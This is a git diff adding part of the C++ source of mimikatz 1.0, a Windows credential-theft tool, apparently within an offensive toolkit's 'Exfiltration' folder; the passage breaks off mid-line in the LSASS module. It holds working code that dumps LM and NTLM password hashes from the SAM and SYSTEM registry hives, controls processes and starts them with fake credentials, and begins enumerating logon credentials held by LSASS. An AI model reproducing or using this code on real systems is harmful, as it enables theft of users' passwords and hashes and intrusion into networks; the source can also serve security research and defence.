\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_privilege.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_privilege.h new file mode 100644 index 0000000..f3dc739 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_privilege.h @@ -0,0 +1,33 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_system.h" +#include "mod_privilege.h" +#include <iostream> + +class mod_mimikatz_privilege +{ +private: + static bool multiplePrivs(vector<wstring> * privs, DWORD type); + static bool simplePriv(wstring priv, vector<wstring> * arguments); +public: + static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands(); + + static bool list(vector<wstring> * arguments); + static bool enable(vector<wstring> * arguments); + static bool remove(vector<wstring> * arguments); + static bool disable(vector<wstring> * arguments); + + static bool debug(vector<wstring> * arguments); + static bool security(vector<wstring> * arguments); + static bool tcb(vector<wstring> * arguments); + static bool impersonate(vector<wstring> * arguments); + static bool assign(vector<wstring> * arguments); + static bool shutdown(vector<wstring> * arguments); + static bool takeowner(vector<wstring> * arguments); + +}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_process.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_process.cpp new file mode 100644 index 0000000..d18ca8b --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_process.cpp @@ -0,0 +1,298 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_mimikatz_process.h" +#include "..\global.h" + +vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_process::getMimiKatzCommands() +{ + vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector; + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(list, L"list", L"Liste les processus")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(start, L"start", L"Exécute un processus, /paused et/ou /sudo")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(suspend, L"suspend", L"Suspend l\'exécution d\'un processus")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(resume, L"resume", L"Reprend un processus")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(stop, L"stop", L"Stoppe un (ou plusieurs) processus")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(modules, L"modules", L"Liste les modules (pour le moment du PID courant)")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(iat, L"iat", L"Liste la table d\'adressage")); + return monVector; +} + +bool mod_mimikatz_process::start(vector<wstring> * arguments) +{ + if(!arguments->empty()) + { + wstring commande = arguments->back(); + bool paused = false; + bool sudo = false; + + (*outputStream) << L"Demande d\'exécution de : \'" << commande << L"'" << endl; + PROCESS_INFORMATION pi = {INVALID_HANDLE_VALUE, INVALID_HANDLE_VALUE, 0, 0}; + + switch(arguments->size()) + { + case 2: + if(_wcsicmp(arguments->front().c_str(), L"/paused") == 0) + paused = true; + else if(_wcsicmp(arguments->front().c_str(), L"/sudo") == 0) + sudo = true; + else + goto doStartProcess_syntaxerror; + + break; + case 3: + if(_wcsicmp(arguments->front().c_str(), L"/paused") == 0) + paused = true; + else + goto doStartProcess_syntaxerror; + + if(_wcsicmp(arguments->at(1).c_str(), L"/sudo") == 0) + sudo = true; + else + goto doStartProcess_syntaxerror; + + break; + } + + if(mod_process::start(&commande, &pi, paused, sudo)) + { + if(paused) + (*outputStream) << L" * Le Thread principal est suspendu ! Reprise avec : thread::resume " << pi.dwThreadId << endl; + + if(sudo) + (*outputStream) << L" * Le processus est démarré avec de fausses données d\'identification" << endl; + + printInfosFromPid(pi.dwProcessId, pi.dwThreadId); + } + else (*outputStream) << L"mod_process::start ; " << mod_system::getWinError() << endl; + } + else + { +doStartProcess_syntaxerror: + (*outputStream) << L"Erreur de syntaxe ; " << L"process::start [/paused] [/sudo] commande" << endl; + } + + return true; +} + +bool mod_mimikatz_process::stop(vector<wstring> * arguments) +{ + for(vector<wstring>::iterator monProcessName = arguments->begin(); monProcessName != arguments->end(); monProcessName++) + { + mod_process::KIWI_PROCESSENTRY32 monProcess; + wstring procName = *monProcessName; + + if(mod_process::getUniqueForName(&monProcess, &procName)) + { + (*outputStream) << L"Fin de : " << procName << L'\t'; + if(mod_process::stop(monProcess.th32ProcessID)) + (*outputStream) << L"OK"; + else + (*outputStream) << L"KO - mod_process::stop ; " << mod_system::getWinError(); + (*outputStream) << endl; + } + else (*outputStream) << L"mod_process::getUniqueForName ; " << mod_system::getWinError() << endl; + } + + return true; +} + + +bool mod_mimikatz_process::suspend(vector<wstring> * arguments) +{ + for(vector<wstring>::iterator monProcessName = arguments->begin(); monProcessName != arguments->end(); monProcessName++) + { + mod_process::KIWI_PROCESSENTRY32 monProcess; + wstring procName = *monProcessName; + + if(mod_process::getUniqueForName(&monProcess, &procName)) + { + (*outputStream) << L"Suspension de : " << procName << L'\t'; + if(mod_process::suspend(monProcess.th32ProcessID)) + (*outputStream) << L"OK"; + else + (*outputStream) << L"KO - mod_process::suspend ; " << mod_system::getWinError(); + (*outputStream) << endl; + } + else (*outputStream) << L"mod_process::getUniqueForName ; " << mod_system::getWinError() << endl; + } + + return true; +} + + +bool mod_mimikatz_process::resume(vector<wstring> * arguments) +{ + for(vector<wstring>::iterator monProcessName = arguments->begin(); monProcessName != arguments->end(); monProcessName++) + { + mod_process::KIWI_PROCESSENTRY32 monProcess; + wstring procName = *monProcessName; + + if(mod_process::getUniqueForName(&monProcess, &procName)) + { + (*outputStream) << L"Reprise de : " << procName << L'\t'; + if(mod_process::resume(monProcess.th32ProcessID)) + (*outputStream) << L"OK"; + else + (*outputStream) << L"KO - mod_process::resume ; " << mod_system::getWinError(); + (*outputStream) << endl; + } + else (*outputStream) << L"mod_process::getUniqueForName ; " << mod_system::getWinError() << endl; + } + + return true; +} + + + + +bool mod_mimikatz_process::list(vector<wstring> * arguments) +{ + vector<mod_process::KIWI_PROCESSENTRY32> * vectorProcess = new vector<mod_process::KIWI_PROCESSENTRY32>(); + if(mod_process::getList(vectorProcess)) + { + (*outputStream) << L"PID\tPPID\t#Ths\tpri\timage" << endl; + for(vector<mod_process::KIWI_PROCESSENTRY32>::iterator monProcess = vectorProcess->begin(); monProcess != vectorProcess->end(); monProcess++) + { + (*outputStream) << + setw(5) << setfill(wchar_t(' ')) << monProcess->th32ProcessID << L'\t' << + setw(5) << setfill(wchar_t(' ')) << monProcess->th32ParentProcessID << L'\t' << + setw(5) << setfill(wchar_t(' ')) << monProcess->cntThreads << L'\t' << + setw(5) << setfill(wchar_t(' ')) << monProcess->pcPriClassBase << L'\t' << + monProcess->szExeFile << + endl; + } + } + else (*outputStream) << L"mod_process::getList ; " << mod_system::getWinError() << endl; + + delete vectorProcess; + return true; +} + +bool mod_mimikatz_process::modules(vector<wstring> * arguments) +{ + DWORD processId = 0 ; + + if(!arguments->empty() && !(arguments->size() > 1)) + { + wstringstream monBuffer; + monBuffer << arguments->front(); + monBuffer >> processId; + } + + vector<mod_process::KIWI_MODULEENTRY32> * vectorModules = new vector<mod_process::KIWI_MODULEENTRY32>(); + if(mod_process::getModulesListForProcessId(vectorModules, &processId)) + { + (*outputStream) << L"@Base\tTaille\tModule\tPath" << endl; + for(vector<mod_process::KIWI_MODULEENTRY32>::iterator monModule = vectorModules->begin(); monModule != vectorModules->end(); monModule++) + { + (*outputStream) << monModule->modBaseAddr << L'\t' << monModule->modBaseSize << '\t' << monModule->szModule << L'\t' << monModule->szExePath << endl; + } + } + else + (*outputStream) << L"mod_process::getModulesListForProcessId ; " << mod_system::getWinError() << endl; + + delete vectorModules; + return true; +} + +bool mod_mimikatz_process::iat(vector<wstring> * arguments) +{ + wstring process; + wstring module; + + switch(arguments->size()) + { + case 2: + process = arguments->at(0); + module = arguments->at(1); + break; + case 1: + process = arguments->at(0); + break; + default: + ; + } + + mod_process::KIWI_PROCESSENTRY32 monProcess; + if(mod_process::getUniqueForName(&monProcess, &process)) + { + if(HANDLE monHandle = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, false, monProcess.th32ProcessID)) + { + if(module.empty() || (module.front() != L'*')) + { + if(module.empty()) + module.assign(process); + + mod_process::KIWI_MODULEENTRY32 * monModule = new mod_process::KIWI_MODULEENTRY32(); + if(mod_process::getUniqueModuleForName(monModule, &module, &monProcess.th32ProcessID)) + { + printIATFromModule(monModule, monHandle); + } + else (*outputStream) << L"mod_process::getUniqueModuleForName ; " << mod_system::getWinError() << endl; + delete monModule; + } + else + { + vector<mod_process::KIWI_MODULEENTRY32> * vectorModules = new vector<mod_process::KIWI_MODULEENTRY32>(); + if(mod_process::getModulesListForProcessId(vectorModules, &monProcess.th32ProcessID)) + { + for(vector<mod_process::KIWI_MODULEENTRY32>::iterator monModule = vectorModules->begin(); monModule != vectorModules->end(); monModule++) + printIATFromModule(&*monModule, monHandle); + } + else (*outputStream) << L"mod_process::getModulesListForProcessId ; " << mod_system::getWinError() << endl; + + delete vectorModules; + } + + CloseHandle(monHandle); + } + } + else (*outputStream) << L"mod_process::getUniqueForName ; " << mod_system::getWinError() << endl; + + return true; +} + +void mod_mimikatz_process::printInfosFromPid(DWORD &PID, DWORD ThreadId) +{ + (*outputStream) << L"PID : " << PID << endl; + + if(ThreadId) + { + (*outputStream) << L"ThreadID : " << ThreadId << endl; + } + + LUID monId = {0, 0}; + if(mod_process::getAuthentificationIdFromProcessId(PID, monId)) + { + (*outputStream) << "AuthId_h : " << monId.HighPart << endl; + (*outputStream) << "AuthId_l : " << monId.LowPart << endl; + } + else (*outputStream) << L"Erreur : " << mod_system::getWinError() << endl; +} + +void mod_mimikatz_process::printIATFromModule(mod_process::KIWI_MODULEENTRY32 * monModule, HANDLE monHandle) +{ + (*outputStream) << monModule->szModule << L" -> " << monModule->szExePath << endl; + PBYTE baseAddr = reinterpret_cast<PBYTE>(monModule->modBaseAddr); + + vector<pair<string, vector<mod_process::KIWI_IAT_MODULE>>> * monIAT = new vector<pair<string, vector<mod_process::KIWI_IAT_MODULE>>>(); + if(mod_process::getIAT(baseAddr, monIAT, monHandle)) + { + for(vector<pair<string, vector<mod_process::KIWI_IAT_MODULE>>>::iterator monModuleImporte = monIAT->begin(); monModuleImporte != monIAT->end(); monModuleImporte++) + { + (*outputStream) << L" - Imports depuis : " << monModuleImporte->first.c_str() << endl; + for(vector<mod_process::KIWI_IAT_MODULE>::iterator maFonctionImporte = monModuleImporte->second.begin(); maFonctionImporte != monModuleImporte->second.end(); maFonctionImporte++) + { + (*outputStream) << L" " << maFonctionImporte->ptrToFunc << L" -> " << maFonctionImporte->ptrFunc << L' '; + if(maFonctionImporte->Ordinal != 0) + (*outputStream) << L"O# " << maFonctionImporte->Ordinal; + else + (*outputStream) << maFonctionImporte->funcName.c_str(); + (*outputStream) << endl; + } + } + } + delete monIAT; +} diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_process.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_process.h new file mode 100644 index 0000000..68f8428 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_process.h @@ -0,0 +1,32 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_system.h" +#include "mod_process.h" +#include <iostream> + +class mod_mimikatz_process +{ +private: + static void printInfosFromPid(DWORD &PID, DWORD ThreadId); + static void printIATFromModule(mod_process::KIWI_MODULEENTRY32 * monModule, HANDLE monHandle = INVALID_HANDLE_VALUE); + +public: + static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands(); + + static bool list(vector<wstring> * arguments); + + static bool start(vector<wstring> * arguments); + static bool suspend(vector<wstring> * arguments); + static bool resume(vector<wstring> * arguments); + static bool stop(vector<wstring> * arguments); + + + static bool modules(vector<wstring> * arguments); + static bool iat(vector<wstring> * arguments); +}; + diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_samdump.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_samdump.cpp new file mode 100644 index 0000000..26f5798 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_samdump.cpp @@ -0,0 +1,353 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_mimikatz_samdump.h" +#include "..\global.h" + +vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_samdump::getMimiKatzCommands() +{ + vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector; + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(full, L"hashes", L"Récupčre la bootkey depuis une ruche SYSTEM puis les hashes depuis une ruche SAM")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(bootkey, L"bootkey", L"Récupčre la bootkey depuis une ruche SYSTEM")); + return monVector; +} + +bool mod_mimikatz_samdump::bootkey(vector<wstring> * arguments) +{ + unsigned char bootkey[0x10]; + if(!arguments->empty()) + getInfosFromHive(arguments->front(), bootkey); + else + getInfosFromReg(bootkey); + return true; +} + +bool mod_mimikatz_samdump::full(vector<wstring> * arguments) +{ + unsigned char bootkey[0x10]; + if(!arguments->empty() && (arguments->size() >= 1 && arguments->size() <= 2)) + { + if(getInfosFromHive(arguments->front().c_str(), bootkey)) + { + if(!getUsersAndHashesFromHive(arguments->back().c_str(), bootkey)) + (*outputStream) << L"Erreur lors de l\'exploration des ruches" << endl; + } + } + else + { + if(getInfosFromReg(bootkey)) + { + if(!getUsersAndHashesFromReg(bootkey)) + (*outputStream) << L"Erreur lors de l\'exploration du registre" << endl; + } + } + return true; +} + +bool mod_mimikatz_samdump::getUsersAndHashesFromHive(wstring samHive, unsigned char bootkey[0x10]) +{ + bool reussite = false; + + mod_hive::hive * monHive = new mod_hive::hive(); + mod_hive::InitHive(monHive); + if(mod_hive::RegOpenHive(samHive.c_str(), monHive)) + { + string * rootKey = new string(); + if(mod_hive::RegGetRootKey(monHive, rootKey)) + { + string * keyAccountName = new string(*rootKey); keyAccountName->append("\\SAM\\Domains\\Account"); + string * valAccountName = new string("F"); + int longueurF = 0; unsigned char *bufferF = NULL; + + if(mod_hive::RegOpenKeyQueryValue(monHive, keyAccountName, valAccountName, &bufferF, &longueurF)) + { + BYTE hBootKey[0x20] = {0}; + if(mod_hash::getHbootKeyFromBootKeyAndF(hBootKey, bootkey, bufferF)) + { + string * keyUsers = new string(*rootKey); keyUsers->append("\\SAM\\Domains\\Account\\Users"); + mod_hive::nk_hdr * nodeUsers = new mod_hive::nk_hdr(); + if(mod_hive::RegOpenKey(monHive, keyUsers, &nodeUsers )) + { + vector<string> * keyNames = new vector<string>(); + if(reussite = mod_hive::RegEnumKey(monHive, nodeUsers, keyNames)) + { + for(vector<string>::iterator maKey = keyNames->begin(); maKey != keyNames->end(); maKey++) + { + if(maKey->compare("Names") != 0) + { + string * keyUser = new string(*keyUsers); keyUser->append("\\"); keyUser->append(*maKey); + string valUserF = "F"; mod_hash::USER_F * userF = NULL; int longueurF = 0; + string valUserV = "V"; mod_hash::USER_V * userV = NULL; int longueurV = 0; + + if(reussite &= mod_hive::RegOpenKeyQueryValue(monHive, keyUser, &valUserV, reinterpret_cast<unsigned char **>(&userV), &longueurV) && + mod_hive::RegOpenKeyQueryValue(monHive, keyUser, &valUserF, reinterpret_cast<unsigned char **>(&userF), &longueurF)) + { + infosFromUserAndKey(userF, userV, hBootKey); + delete[] userF, userV; + } + delete keyUser; + } + } + } + delete keyNames; + } + delete nodeUsers, keyUsers; + } + delete[] bufferF; + } + delete valAccountName, keyAccountName; + } + delete rootKey; + } + delete monHive; + + return reussite; +} + +bool mod_mimikatz_samdump::getInfosFromHive(wstring systemHive, unsigned char bootkey[0x10]) +{ + bool reussite = false; + + mod_hive::hive * monHive = new mod_hive::hive(); + mod_hive::InitHive(monHive); + + if(mod_hive::RegOpenHive(systemHive.c_str(), monHive)) + { + string * rootKey = new string(); + if(mod_hive::RegGetRootKey(monHive, rootKey)) + { + DWORD nControlSet = 0; + if(getNControlSetFromHive(monHive, rootKey, &nControlSet)) + { + stringstream * monControlSet = new stringstream; + *monControlSet << *rootKey << "\\ControlSet" << setw(3) << setfill('0') << nControlSet; + string * fullControlSet = new string(monControlSet->str()); + delete monControlSet; + + wstring * computerName = new wstring(); + if(getComputerNameFromHive(monHive, fullControlSet, computerName)) + (*outputStream) << L"Ordinateur : " << *computerName << endl; + delete computerName; + + if(reussite = getBootKeyFromHive(monHive, fullControlSet, bootkey)) + (*outputStream) << L"BootKey : " << mod_text::stringOfHex(bootkey, 0x10) << endl; + delete fullControlSet; + } + } + delete rootKey; + mod_hive::RegCloseHive(monHive); + } + delete monHive; + + return reussite; +} + +bool mod_mimikatz_samdump::getComputerNameFromHive(mod_hive::hive * theHive, string * fullControlSet, wstring * computerName) +{ + bool reussite = false; + + string * keyComputerName = new string(*fullControlSet); keyComputerName->append("\\Control\\ComputerName\\ComputerName"); + string * valComputerName = new string("ComputerName"); + int longueur = 0; unsigned char *buffer = NULL; + if(reussite = mod_hive::RegOpenKeyQueryValue(theHive, keyComputerName, valComputerName, &buffer, &longueur)) + { + computerName->assign(reinterpret_cast<wchar_t *>(buffer), longueur / sizeof(wchar_t)); + delete[] buffer; + } + delete valComputerName; + delete keyComputerName; + + return reussite; +} + +bool mod_mimikatz_samdump::getBootKeyFromHive(mod_hive::hive * theHive, string * fullControlSet, unsigned char bootkey[0x10]) +{ + bool reussite = false; + + unsigned char key[0x10]; + char *kn[] = {"JD", "Skew1", "GBG", "Data"}; + + for(unsigned int i = 0; i < sizeof(kn) / sizeof(char *); i++ ) + { + string * maKey = new string(*fullControlSet); maKey->append("\\Control\\Lsa\\"); maKey->append(kn[i]); + mod_hive::nk_hdr * n = new mod_hive::nk_hdr(); + + if(reussite = mod_hive::RegOpenKey(theHive, maKey, &n)) + { + char kv[9] = {0}; + unsigned char *b = mod_hive::read_data(theHive, n->classname_off + 0x1000); + for(short j = 0; j < (n->classname_len / 2) && j < 8; j++) + kv[j] = b[j*2]; + sscanf_s(kv, "%x", (unsigned int*) (&key[i*4])); + } + delete n, maKey; + } + + if(reussite) + mod_hash::getBootKeyFromKey(bootkey, key); + + return reussite; +} + +bool mod_mimikatz_samdump::getBootKeyFromReg(BYTE bootkey[0x10]) +{ + bool reussite = false; + + DWORD code; + BYTE key[0x10] = {0}; + wchar_t * kn[] = {L"JD", L"Skew1", L"GBG", L"Data"}; + HKEY monLSA; + code = RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"SYSTEM\\CurrentControlSet\\Control\\Lsa", 0, KEY_READ, &monLSA); + if(code == ERROR_SUCCESS) + { + for(unsigned int i = 0; (i < sizeof(kn) / sizeof(wchar_t *)) && (code == ERROR_SUCCESS); i++ ) + { + HKEY monSecret; + code = RegOpenKeyEx(monLSA, kn[i], 0, KEY_READ, &monSecret); + if(code == ERROR_SUCCESS) + { + wchar_t monBuffer[8 + 1]; + DWORD maTaille = 8 + 1; + + code = RegQueryInfoKey(monSecret, monBuffer, &maTaille, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); + if(code == ERROR_SUCCESS) + swscanf_s(monBuffer, L"%x", (DWORD *) (&key[i * sizeof(DWORD)])); + else (*outputStream) << L"RegQueryInfoKey " << kn[i] << " : " << mod_system::getWinError(false, code) << endl; + RegCloseKey(monSecret); + } else (*outputStream) << L"RegOpenKeyEx " << kn[i] << " : " << mod_system::getWinError(false, code) << endl; + } + RegCloseKey(monLSA); + } else (*outputStream) << L"RegOpenKeyEx LSA : " << mod_system::getWinError(false, code) << endl; + + if(reussite = (code == ERROR_SUCCESS)) + mod_hash::getBootKeyFromKey(bootkey, key); + + return reussite; +} + + + +bool mod_mimikatz_samdump::getNControlSetFromHive(mod_hive::hive * theHive, string * rootKey, DWORD * nControlSet) +{ + bool reussite = false; + + string * selectKey = new string(*rootKey); selectKey->append("\\Select"); + string * nDefault = new string("Default"); + int longueur = 0; unsigned char *buffer = NULL; + + if(mod_hive::RegOpenKeyQueryValue(theHive, selectKey, nDefault, &buffer, &longueur)) + { + if(reussite = (longueur == sizeof(DWORD))) + *nControlSet = *(DWORD *) (buffer); + delete[] buffer; + } + + delete nDefault, selectKey; + return reussite; +} + +bool mod_mimikatz_samdump::getInfosFromReg(BYTE bootkey[0x10]) +{ + bool reussite = false; + + wstring * computerName = new wstring(); + if(mod_system::getComputerName(computerName)) + (*outputStream) << L"Ordinateur : " << *computerName << endl; + delete computerName; + + if(reussite = getBootKeyFromReg(bootkey)) + (*outputStream) << L"BootKey : " << mod_text::stringOfHex(bootkey, 0x10) << endl; + + return reussite; +} + + +bool mod_mimikatz_samdump::getUsersAndHashesFromReg(BYTE bootkey[0x10]) +{ + bool reussite = false; + + DWORD code; + HKEY maSAM; + code = RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"SAM\\SAM\\Domains\\Account", 0, KEY_READ, &maSAM); + if(code == ERROR_SUCCESS) + { + DWORD tailleRequise = 0; + code = RegQueryValueEx(maSAM, L"F", NULL, NULL, NULL, &tailleRequise); + if(code == ERROR_SUCCESS) + { + BYTE * bufferF = new BYTE[tailleRequise]; + code = RegQueryValueEx(maSAM, L"F", NULL, NULL, bufferF, &tailleRequise); + if(code == ERROR_SUCCESS) + { + BYTE hBootKey[0x10] = {0}; + if(mod_hash::getHbootKeyFromBootKeyAndF(hBootKey, bootkey, bufferF)) + { + HKEY mesUsers; + code = RegOpenKeyEx(maSAM, L"Users", 0, KEY_READ, &mesUsers); + if(code == ERROR_SUCCESS) + { + DWORD nombreUsers = 0, tailleMaxSousCle = 0; + code = RegQueryInfoKey(mesUsers, NULL, NULL, NULL, &nombreUsers, &tailleMaxSousCle, NULL, NULL, NULL, NULL, NULL, NULL); + if(reussite = (code == ERROR_SUCCESS)) + { + tailleMaxSousCle++; + wchar_t * monRid = new wchar_t[tailleMaxSousCle]; + for(DWORD i = 0; i < nombreUsers ; i++) + { + DWORD tailleRid = tailleMaxSousCle; + code = RegEnumKeyExW(mesUsers, i, monRid, &tailleRid, NULL, NULL, NULL, NULL); + if(code == ERROR_SUCCESS) + { + if(_wcsicmp(monRid, L"Names") != 0) + { + HKEY monUser; + code = RegOpenKeyEx(mesUsers, monRid, 0, KEY_READ, &monUser); + if(reussite &= (code == ERROR_SUCCESS)) + { + DWORD tailleF = 0, tailleV = 0; + if((RegQueryValueEx(monUser, L"F", NULL, NULL, NULL, &tailleF) == ERROR_SUCCESS) && + (RegQueryValueEx(monUser, L"V", NULL, NULL, NULL, &tailleV) == ERROR_SUCCESS)) + { + mod_hash::USER_F * userF = reinterpret_cast<mod_hash::USER_F *>(new BYTE[tailleF]); + mod_hash::USER_V * userV = reinterpret_cast<mod_hash::USER_V *>(new BYTE[tailleV]); + + if((RegQueryValueEx(monUser, L"F", NULL, NULL, reinterpret_cast<BYTE *>(userF), &tailleF) == ERROR_SUCCESS) && + (RegQueryValueEx(monUser, L"V", NULL, NULL, reinterpret_cast<BYTE *>(userV), &tailleV) == ERROR_SUCCESS)) + infosFromUserAndKey(userF, userV, hBootKey); + + delete[] userF, userV; + } + RegCloseKey(monUser); + } + } + } else (*outputStream) << L"RegEnumKeyExW : " << mod_system::getWinError(false, code) << endl; + } + delete[] monRid; + } + RegCloseKey(mesUsers); + } else (*outputStream) << L"RegOpenKeyEx Users : " << mod_system::getWinError(false, code) << endl; + } + } else (*outputStream) << L"RegQueryValueEx 2 F : " << mod_system::getWinError(false, code) << endl; + delete[] bufferF; + } else (*outputStream) << L"RegQueryValueEx 1 F : " << mod_system::getWinError(false, code) << endl; + RegCloseKey(maSAM); + } else (*outputStream) << L"RegOpenKeyEx SAM : " << mod_system::getWinError(false, code) << endl; + + return reussite; +} + +void mod_mimikatz_samdump::infosFromUserAndKey(mod_hash::USER_F * userF, mod_hash::USER_V * userV, BYTE hBootKey[0x10]) +{ + wstring hashLM, hashNTLM; + mod_hash::decryptHash(&hashLM, hBootKey, userV, &userV->LM, userF->UserId, false); + mod_hash::decryptHash(&hashNTLM, hBootKey, userV, &userV->NTLM, userF->UserId, true); + + (*outputStream) << endl << + L"Rid : " << userF->UserId << endl << + L"User : " << wstring((wchar_t *) (&(userV->datas) + userV->Username.offset), userV->Username.lenght / sizeof(wchar_t)) << endl << + L"LM : " << hashLM << endl << + L"NTLM : " << hashNTLM << endl + ; +}
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_samdump.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_samdump.h new file mode 100644 index 0000000..6586d03 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_samdump.h @@ -0,0 +1,34 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_hive.h" +#include "mod_hash.h" +#include "mod_system.h" +#include <iostream> +#include <sstream> + +class mod_mimikatz_samdump +{ +private: + static bool getNControlSetFromHive(mod_hive::hive * theHive, string * rootKey, DWORD * nControlSet); + static bool getComputerNameFromHive(mod_hive::hive * theHive, string * fullControlSet, wstring * computerName); + + static bool getBootKeyFromHive(mod_hive::hive * theHive, string * fullControlSet, unsigned char bootkey[0x10]); + static bool getInfosFromHive(wstring systemHive, unsigned char bootkey[0x10]); + static bool getUsersAndHashesFromHive(wstring samHive, unsigned char bootkey[0x10]); + + static bool getBootKeyFromReg(BYTE bootkey[0x10]); + static bool getInfosFromReg(BYTE bootkey[0x10]); + static bool getUsersAndHashesFromReg(BYTE bootkey[0x10]); + + static void infosFromUserAndKey(mod_hash::USER_F * userF, mod_hash::USER_V * userV, BYTE hBootKey[0x20]); +public: + static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands(); + + static bool bootkey(vector<wstring> * arguments); + static bool full(vector<wstring> * arguments); +}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_sekurlsa.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_sekurlsa.cpp new file mode 100644 index 0000000..d8832bc --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_sekurlsa.cpp @@ -0,0 +1,348 @@ +/* Benjamin DELPY `gentilkiwi` +http://blog.gentilkiwi.com +benjamin@gentilkiwi.com +Licence : http://creativecommons.org/licenses/by/3.0/fr/ +Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_mimikatz_sekurlsa.h" +#include "..\global.h" +HMODULE mod_mimikatz_sekurlsa::hLsaSrv = NULL; +HANDLE mod_mimikatz_sekurlsa::hLSASS = NULL; +mod_process::KIWI_VERY_BASIC_MODULEENTRY mod_mimikatz_sekurlsa::localLSASRV, *mod_mimikatz_sekurlsa::pModLSASRV = NULL; +PLSA_SECPKG_FUNCTION_TABLE mod_mimikatz_sekurlsa::SeckPkgFunctionTable = NULL; + +bool mod_mimikatz_sekurlsa::lsassOK = false; +vector<pair<mod_mimikatz_sekurlsa::PFN_ENUM_BY_LUID, wstring>> mod_mimikatz_sekurlsa::GLOB_ALL_Providers; +vector<mod_mimikatz_sekurlsa::KIWI_MODULE_PKG_LSA> mod_mimikatz_sekurlsa::mesModules; + +vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_sekurlsa::getMimiKatzCommands() +{ + vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector; + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(mod_mimikatz_sekurlsa_msv1_0::getMSV, L"msv", L"énumčre les sessions courantes du provider MSV1_0")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(mod_mimikatz_sekurlsa_wdigest::getWDigest, L"wdigest", L"énumčre les sessions courantes du provider WDigest")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(mod_mimikatz_sekurlsa_kerberos::getKerberos, L"kerberos",L"énumčre les sessions courantes du provider Kerberos")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(mod_mimikatz_sekurlsa_tspkg::getTsPkg, L"tspkg", L"énumčre les sessions courantes du provider TsPkg")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(mod_mimikatz_sekurlsa_livessp::getLiveSSP, L"livessp", L"énumčre les sessions courantes du provider LiveSSP")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(mod_mimikatz_sekurlsa_ssp::getSSP, L"ssp", L"énumčre les sessions courantes du provider SSP (msv1_0)")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(getLogonPasswords, L"logonPasswords", L"énumčre les sessions 